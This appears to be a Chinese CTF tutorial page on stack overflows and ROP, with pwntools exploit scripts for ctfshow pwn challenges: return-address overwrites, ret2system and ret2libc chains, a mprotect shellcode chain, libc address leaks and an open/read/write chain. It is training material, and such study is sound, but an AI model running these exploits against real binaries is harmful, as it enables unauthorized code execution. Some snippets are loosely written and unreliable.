当前位置: 首页 > news >正文

【CTF | pwn篇】从栈溢出到ROP:ctfshow pwn实战技巧精讲

1. 栈溢出基础:从零开始理解漏洞利用

栈溢出是PWN领域最经典的漏洞类型之一,也是CTF比赛中出现频率最高的题型。我们先从一个最简单的例子开始,看看如何利用栈溢出漏洞控制程序执行流程。

1.1 栈的结构与函数调用

当程序调用函数时,会在栈上分配空间用于存储局部变量、保存返回地址等。典型的32位程序栈帧结构如下:

高地址 +-----------------+ | 参数n | | ... | | 参数1 | +-----------------+ | 返回地址 | <-- EIP将跳转到这里 +-----------------+ | 保存的EBP | <-- 当前EBP指向这里 +-----------------+ | 局部变量 | | ... | 低地址

在x86架构中,栈是从高地址向低地址增长的。当函数返回时,会从栈上弹出返回地址并跳转到该地址继续执行。

1.2 最简单的栈溢出利用

让我们看一个ctfshow上的实际例子(pwn_035):

void vulnerable_function() { char buf[100]; gets(buf); // 危险函数,不检查输入长度 }

使用checksec检查程序保护机制:

checksec --file=pwn_035

输出显示这是一个32位程序,只开启了NX保护(栈不可执行)。这意味着我们不能直接在栈上执行shellcode,但可以通过覆盖返回地址来控制程序流程。

1.3 计算溢出偏移量

要成功利用栈溢出,我们需要精确计算从缓冲区开始到返回地址的偏移量。常用方法有:

  1. 使用cyclic模式字符串
  2. 通过调试器观察
  3. 静态分析IDA反汇编代码

以pwn_035为例,通过IDA可以看到buf相对于EBP的偏移是0x6c,加上4字节的保存EBP,所以返回地址的偏移是0x6c + 0x04 = 0x70。

1.4 构造利用payload

假设程序中有一个后门函数backdoor(),地址是0x08048586,我们可以构造如下payload:

from pwn import * payload = b'A' * 0x70 # 填充缓冲区 payload += p32(0x08048586) # 覆盖返回地址

这样当函数返回时,就会跳转到后门函数执行。

2. 进阶技巧:ROP链的构造与应用

当程序中没有现成的后门函数时,我们需要使用更高级的技术——ROP(Return-Oriented Programming)。

2.1 ROP基本原理

ROP利用程序中已有的代码片段(gadget),通过精心构造的栈布局,将这些片段串联起来实现任意代码执行。每个gadget以ret指令结束,程序控制流就像在"返回导向的编程"。

2.2 寻找和组合gadget

常用的gadget类型包括:

  • pop reg; ret:用于设置寄存器值
  • mov [reg], reg; ret:用于内存写入
  • add/sub reg, reg; ret:用于算术运算

使用工具查找gadget:

ROPgadget --binary pwn_036

2.3 实际案例:pwn_036分析

这是一个没有后门函数的32位程序,但提供了system()和"/bin/sh"字符串。我们需要:

  1. 控制EIP跳转到system()
  2. 设置栈帧使system()的参数是"/bin/sh"的地址

构造ROP链:

from pwn import * system_plt = 0x080483A0 binsh_addr = 0x08048750 offset = 0x6c + 0x04 payload = b'A' * offset payload += p32(system_plt) payload += p32(0xdeadbeef) # 伪造的返回地址 payload += p32(binsh_addr) # system的参数

2.4 64位程序的ROP特点

64位程序与32位的主要区别在于参数传递方式:

  • 前六个参数通过寄存器传递(RDI, RSI, RDX, RCX, R8, R9)
  • 需要找到pop rdi; ret这样的gadget来设置参数

例如pwn_038的利用:

pop_rdi = 0x4007e3 system_plt = 0x400520 binsh = 0x400808 payload = b'A' * (0x20 + 8) payload += p64(pop_rdi) payload += p64(binsh) payload += p64(system_plt)

3. 绕过保护机制:实战技巧

现代程序通常会启用各种保护机制,我们需要掌握相应的绕过技巧。

3.1 绕过NX(栈不可执行)

当栈不可执行时,我们有几种选择:

  1. 使用ROP技术
  2. 使用mprotect()将栈改为可执行
  3. 使用已有的可执行内存区域

pwn_049展示了如何使用mprotect:

mprotect_plt = 0x0806CDD0 read_plt = 0x0806BEE0 bss = 0x080DB000 payload = b'A' * offset payload += p32(mprotect_plt) payload += p32(pop3_ret) payload += p32(bss) # 地址 payload += p32(0x1000) # 大小 payload += p32(0x7) # PROT_READ|PROT_WRITE|PROT_EXEC payload += p32(read_plt) payload += p32(pop3_ret) payload += p32(0) # stdin payload += p32(bss) # buf payload += p32(0x100) # size payload += p32(bss) # 跳转到shellcode

3.2 处理ASLR(地址随机化)

当程序启用ASLR时,我们需要先泄漏某个函数的真实地址,然后计算libc基址:

# 泄漏puts地址 payload = b'A' * offset payload += p32(puts_plt) payload += p32(main_addr) # 返回到main函数再次利用 payload += p32(puts_got) # 接收泄漏的地址 puts_addr = u32(p.recv(4)) libc_base = puts_addr - libc.sym['puts'] system_addr = libc_base + libc.sym['system']

3.3 绕过Stack Canary

Stack Canary是防止栈溢出的保护机制,常见绕过方法包括:

  1. 泄漏canary值
  2. 覆盖__stack_chk_fail的GOT表
  3. 不触发canary检查(如只覆盖局部变量)

4. 高级技巧:特殊场景下的漏洞利用

4.1 格式化字符串漏洞结合利用

有些题目会同时存在栈溢出和格式化字符串漏洞,可以组合利用:

# 先用格式化字符串泄漏栈地址 payload = b'%p.' * 20 p.sendline(payload) leak = p.recv().split(b'.') stack_addr = int(leak[5], 16) # 然后用栈溢出构造ROP链 payload = b'A' * offset payload += p32(system_addr) payload += p32(0) payload += p32(stack_addr + offset_to_binsh)

4.2 堆栈结合利用

当栈空间不足时,可以考虑将ROP链或shellcode放在堆上:

# 在堆上布置ROP链 heap_addr = 0x0804B000 payload = p32(system_addr) + p32(0) + p32(binsh_addr) # 通过栈溢出跳转到堆 rop_chain = [ pop_eax, heap_addr, jmp_eax ]

4.3 利用文件操作获取flag

有些题目不提供shell,而是直接读取flag文件。这时可以构造ROP链调用open/read/write:

# 32位示例 rop_chain = [ pop3_ret, 0x804b000, # buf 0x100, # size 0, # fd (stdin) read_plt, pop3_ret, 0x804b000, # filename 0, # flags 0, # mode open_plt, pop3_ret, 3, # fd 0x804b100, # buf 0x100, # count read_plt, pop3_ret, 1, # fd (stdout) 0x804b100, # buf 0x100, # count write_plt ]

5. 实用工具与调试技巧

5.1 常用工具介绍

  1. pwntools:Python库,提供了开发exploit所需的各种功能
  2. ROPgadget:查找二进制文件中的gadget
  3. checksec:检查二进制文件的保护机制
  4. GDB with peda/gef/pwndbg:强大的调试工具
  5. one_gadget:查找libc中的execve('/bin/sh') gadget

5.2 GDB调试技巧

调试栈溢出时常用的GDB命令:

# 设置断点 b *vulnerable_function+20 # 查看栈内容 x/40wx $esp # 查看寄存器 info registers # 查看内存映射 vmmap # 跟踪执行 ni (next instruction) si (step into)

5.3 pwntools实用技巧

# 自动计算偏移 io = process('./pwn') elf = ELF('./pwn') rop = ROP(elf) # 自动构建ROP链 rop.call('system', [next(elf.search(b'/bin/sh'))]) payload = flat({offset: rop.chain()}) # 自动化泄漏 def leak_addr(addr): payload = fmtstr_payload(offset, {addr: '%s'}, write_size='byte') io.sendline(payload) return u64(io.recv(8))

6. ctfshow题目实战分析

6.1 pwn_045:无system和/bin/sh的32位程序

这道题既没有提供system函数,也没有/bin/sh字符串。我们需要:

  1. 使用write泄漏libc地址
  2. 计算libc基址
  3. 获取system和/bin/sh地址
  4. 构造ROP链
from pwn import * context(arch='i386', os='linux') io = process('./pwn_045') elf = ELF('./pwn_045') libc = ELF('/lib/i386-linux-gnu/libc.so.6') # 第一次溢出:泄漏libc地址 rop1 = ROP(elf) rop1.write(1, elf.got['write'], 4) rop1.call(elf.sym['main']) payload1 = b'A'*(0x6c+4) + rop1.chain() io.sendline(payload1) write_addr = u32(io.recv(4)) libc.address = write_addr - libc.sym['write'] # 第二次溢出:获取shell rop2 = ROP([elf, libc]) rop2.system(next(libc.search(b'/bin/sh'))) payload2 = b'A'*(0x6c+4) + rop2.chain() io.sendline(payload2) io.interactive()

6.2 pwn_050:64位程序与栈对齐问题

64位程序中,有时需要考虑栈对齐问题。当system崩溃时,可以尝试添加ret gadget进行对齐:

# 找到ret gadget ret = 0x4004fe rop = ROP(elf) rop.raw(ret) # 栈对齐 rop.call(libc.sym['system'], [bin_sh_addr])

6.3 pwn_051:非常规溢出点

这道题通过字符串处理函数实现溢出,关键点是:

  1. 输入特定字符会被替换为更长字符串
  2. 利用这种扩展实现溢出
# 'I'会被替换为"IronMan",从而扩展输入长度 payload = b'I'*16 # 实际会扩展为更长的字符串 payload += p32(backdoor_addr)

7. 从CTF到实战:思维训练

CTF题目往往简化了真实场景,但培养的思维方式是通用的:

  1. 信息收集:检查保护机制、分析二进制结构、寻找敏感函数
  2. 漏洞定位:识别危险函数、分析输入点、确定溢出长度
  3. 利用开发:根据保护机制选择合适的利用技术
  4. 稳定利用:考虑各种边界情况,确保exploit稳定可靠

在实际漏洞利用中,还需要考虑:

  • 不同环境下的地址差异
  • 漏洞触发条件的稳定性
  • 利用失败后的恢复机制
  • 多阶段利用的可靠性

8. 持续学习建议

要成为PWN高手,建议:

  1. 系统学习计算机体系结构,特别是栈、堆的内存布局
  2. 深入理解调用约定和ABI规范
  3. 熟悉常见保护机制的原理和绕过方法
  4. 定期参加CTF比赛积累经验
  5. 研究真实世界的漏洞利用案例
  6. 参与开源安全项目,如kernel exploit开发

一些推荐的学习资源:

  • 《漏洞利用开发实战》
  • 《CTF竞赛权威指南》
  • LiveOverflow的YouTube频道
  • ROP Emporium挑战系列
http://www.jsqmd.com/news/554036/

相关文章:

  • EagleEye效果实测:在JetPack 6.0 + Orin AGX上实现15ms推理的边缘部署方案
  • 自进化人工智能时代已经到来
  • 2026年京津冀好用的钢格栅板定制生产厂家排名 - myqiye
  • Face3D.ai Pro效果展示:不同光照条件下正面人像的3D几何还原精度对比
  • Qwen3Guard-Gen-8B真实案例:如何用AI模型自动拦截不当言论
  • 循环单链表
  • 最佳数据科学家总是持续学习
  • 2026高端晾衣架怎么选?十大品牌选购指南来了! - 匠言榜单
  • 连云港市区本地人推荐的特色家常铁锅炖餐厅
  • 超越跑分:Gemini 3.1 Pro 2026年多维度能力评估体系深度拆解
  • 斯坦福-CS253-网络安全笔记-全-
  • 如何快速掌握Mesa:Python多智能体建模的完整指南
  • 百川2-13B微调实践:为OpenClaw定制专属的自动化指令集
  • OpenClaw技能市场巡礼:Qwen3-32B适配度最高的5个工具
  • 上海地区好用的精密过滤器供应商有推荐的吗 - myqiye
  • 公众号排版别乱堆样式!抓住这几个要点,新手也能做出高级感 - 小小智慧树~
  • React Native PagerView入门指南:5分钟快速搭建页面切换组件
  • 公众号排版教程丨巨详细!用这个编辑器三分钟教会你公众号排版 - 小小智慧树~
  • 斯坦福-CS261-网络优化笔记-全-
  • 深入解析CAN总线通信原理与CANoe实战开发指南
  • SUNFLOWER MATCH LAB与SolidWorks集成展望:植物三维模型检索与匹配
  • 从零到一:基于LangFlow、Ollama与Neo4j的本地知识图谱问答系统搭建实录
  • 2026年北京地区知名护栏网品牌排名,靠谱的小区护栏网制造商有哪些 - 工业设备
  • 2026南京手表售后全攻略|高端奢华腕表维修科普+六城正规网点汇总 - 时光修表匠
  • 从iRMB到EMO:构建下一代轻量级密集预测模型的统一架构解析
  • 玄机——从钓鱼邮件到内网沦陷:一次完整攻击链的深度溯源分析
  • Qwen3-VL-2B为何选CPU优化?低门槛部署实战解读
  • 2026和你一起品味实力强的过滤机品牌,江浙沪哪家口碑好 - mypinpai
  • 中山湘菜馆价格多少,靠谱的优质品牌怎么选 - mypinpai
  • 智能模型的秘诀-跟踪特征历史